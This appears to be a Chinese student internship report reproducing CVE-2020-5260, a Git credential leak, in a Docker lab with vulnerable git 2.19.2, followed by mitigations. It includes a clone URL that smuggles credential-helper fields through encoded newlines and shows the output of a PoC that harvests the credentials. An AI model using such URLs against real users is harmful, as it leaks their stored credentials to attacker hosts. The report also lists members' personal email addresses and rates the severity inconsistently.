南开大学

实习实训漏洞复现报告

2024 年 7 月 25 日

目录

1.漏洞复现结论（15 分）

南开大学 15 小组的安全人员采用科学的漏洞复现步骤于 2024 年 7 月 15 日至 2024 年 7 月 25 日对 Git 凭证泄露进行了全面深入的漏洞复现。

本次共发现漏洞 1 个，其高危漏洞 1 个，中危漏洞 0 个,低危漏洞 0 个。

序号	漏洞名称	风险值
1	Git 凭证泄露（CVE-2020-5260）	高危

1.1 风险等级分布

本次评估漏洞的详细风险等级分布如下：

高危

2.工作计划（25 分）

2.1 工作人员

序号	职务	姓名	联系方式
1	组长	常欣然	1195108945@qq.com
2	组员	高玉格	1463948484@qq.com
3	组员	马浩博	1191173636@qq.com
4	组员	宋常秀	3281405348@qq.com
5	组员	曹瑜	463246828@qq.com

2.2 漏洞对象

Git

2.3 漏洞复现阶段

项目阶段	工作内容
环境搭建	使用 Docker 编写 dockerfile 进行环境搭建
版本检测	观察 git 的版本是否在受影响的范围内
Poc 验证	运行 poc 脚本

2.4 风险等级

编号	风险等级	风险描述
1	高危	攻击者利用此漏洞可使恶意 URL 欺骗 Git 客户端向攻击者发送主机凭据

3.漏洞复现过程（35 分）

1. 使用 Docker，编写 dockerfile 进行环境搭建

Dockerfile

```
E: > CVE > CVE-2020-5260 > Dockerfile
1   FROM kalilinux/kali-last-release
2
3   WORKDIR /usr/src
4
5   RUN sed -i 's/http.kali.org/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list
6
7   RUN apt-get update
8
9   RUN apt-get -y install build-essential \
10                         openssl libssl-dev libcurl4-openssl-dev libexpat1-dev \
11                         zlib1g-dev gettext
12
13  ADD git-2.19.2.tar.gz .
14
15  RUN cd /usr/src/git-2.19.2 \
16      && ./configure --prefix=/usr/local/git \
17      && make \
18      && make install
19
20  ENV PATH="/usr/local/git/bin:${PATH}"
21
22  CMD ["/bin/bash"]
23
```

2. 在命令行中使用 git version 命令观察 git 的版本是否在受影响的范围内：

```
┌──(root㉿a7832d054e73)-[/usr/src]
└─# git version
git version 2.19.2
```

发现在影响范围内，运行 poc 脚本进行检测：

```
┌──(root㉿kali)-[/home/kali/Desktop/POC/CVE-2020-5260]
└─# git version
git version 2.19.2

┌──(root㉿kali)-[/home/kali/Desktop/POC/CVE-2020-5260]
└─# git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https'
Cloning into '%0ahost=github.com%0aprotocol=https' ...
warning: You appear to have cloned an empty repository.

┌──(root㉿kali)-[/home/kali/Desktop/POC/CVE-2020-5260]
└─#
```

kali@kali: ~/Desktop/POC/CVE-2020-5260

File Actions Edit View Help

```
┌──(kali㉿kali)-[~/Desktop/POC/CVE-2020-5260]
└─$ go run poc.go
2024/07/21 00:00:08 user: kali password: kali
2024/07/21 00:00:08 user: kali password: kali
```

输入 payload 后，可以发现在漏洞环境中输入的用户名与密码重要信息回被泄露，显示在脚本窗口中，说明确实存在凭证泄露漏洞。

3.1 风险管理及规避

（1）官方升级：目前官方已在最新版本中修复了该漏洞，受影响的用户尽快升级版本进行防护；
（2）使用以下命令禁用 credential helper：

```
git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper
```

（3）检查 git clone 的 URL，避免子模块与不受信仓库一起使用，不执行对不信任 URL 的 git clone。

3.2 测试方法

Poc 验证

3.3 测试中所用的工具

有漏洞版本的 git 用来搭建环境：git-2.19.2
VSCode：编写 dockerfile 即 poc 脚本
Docker Desktop：创建运行 docker 容器

4.漏洞复现结果（25 分）

4.1 POC 插件编写

cve-2020-5260-poc
cve-2020-5260-Dockerfile

4.2 漏洞信息

UVD-ID		**漏洞类别**	不充分的凭证保护机制（CWE-522）	**CVE-ID**	CVE-2020-5260

披露/发现时间	2020-04-15	**bugtraq 编号**		**CNNVD-ID：**	
提交时间	2023-11-05	**漏洞发现者**	Git 官方	**CNVD-ID：**	
漏洞等级	低危	**提交者**	Git 官方	**搜索关键词**	Git 凭证泄露
影响范围	受影响版本： Git 2.17.x <= 2.17.3 Git 2.18.x <= 2.18.2 Git 2.19.x <= 2.19.3 Git 2.20.x <= 2.20.2 Git 2.21.x <= 2.21.1 Git 2.22.x <= 2.22.2 Git 2.23.x <= 2.23.1 Git 2.24.x <= 2.24.1 Git 2.25.x <= 2.25.2 Git 2.26.x <= 2.26.0 不受影响版本： Git 2.17.4 Git 2.18.3 Git 2.19.4 Git 2.20.3 Git 2.21.2 Git 2.22.3 Git 2.23.2 Git 2.24.2 Git 2.25.3 Git 2.26.1					
来源	由 Git 官方发布				
漏洞简介	Git 使用凭证助手(credential helper)来帮助用户存储和检索凭证。当 URL 中包含经过编码的换行符（%0a）时，可能将非预期的值注入到 credential				

	helper 的协议流中。受影响版本 Git 对恶意 URL 执行 git clone 命令时会触发此漏洞，攻击者可利用恶意 URL 欺骗 Git 客户端发送主机凭据。
漏洞详情	受影响的 Git 版本存在一个漏洞，可以诱骗 Git 向攻击者控制的主机发送私有凭据。 Git 使用外部“凭据帮助程序”来存储和检索操作系统提供的安全存储中的密码或其他凭据。包含编码换行符的特制 URL 可以将意想不到的值注入到凭据帮助程序协议流中，从而导致凭据帮助程序检索一台服务器（例如 good.example.com）的密码，以向另一台服务器发出 HTTP 请求（例如：evil.example.com），从而导致前者的凭据发送到后者。两者之间的关系没有任何限制，这意味着攻击者可以制作一个 URL，该 URL 将向其选择的主机提供任何主机的存储凭据。可以通过向 git clone 提供恶意 URL 来触发此漏洞。但是，受影响的 URL 看起来可疑。可能的媒介是通过自动克隆用户不可见的 URL 的系统（例如 Git 子模块）或围绕 Git 构建的打包系统。
参考链接	https://cloud.tencent.com/developer/article/1616917 https://avd.aliyun.com/detail?id=AVD-2020-5260 https://github.com/git/git/security/advisories/GHSA-qm7j-c969-7j4q https://gitee.com/src-openeuler/git/issues/I8DPUE
靶场信息	镜像：kalilinux/kali-latest-release Git：2.19.2
POC	cve-2020-5260-poc.go
修复方案	官方升级：目前官方已在最新版本中修复了该漏洞，请受影响的用户尽快

	升级版本进行防护。 其他防护措施： 使用以下命令禁用 credential helper： git config --unset credential.helper git config --global --unset credential.helper git config --system --unset credential.helper 提高警惕避免恶意 URL：git clone 时检查 URL 的主机名和用户名部分是否存在编码的换行符（%0a）或凭据协议注入的证据（例如 host=github.com）。避免将子模块与不受信任的仓库一起使用（不要使用 clone --recurse-submodules；只有在检查.gitmodules 中找到 url 之后，才使用 git submodule update）。请勿对不信任的 URL 执行 git clone。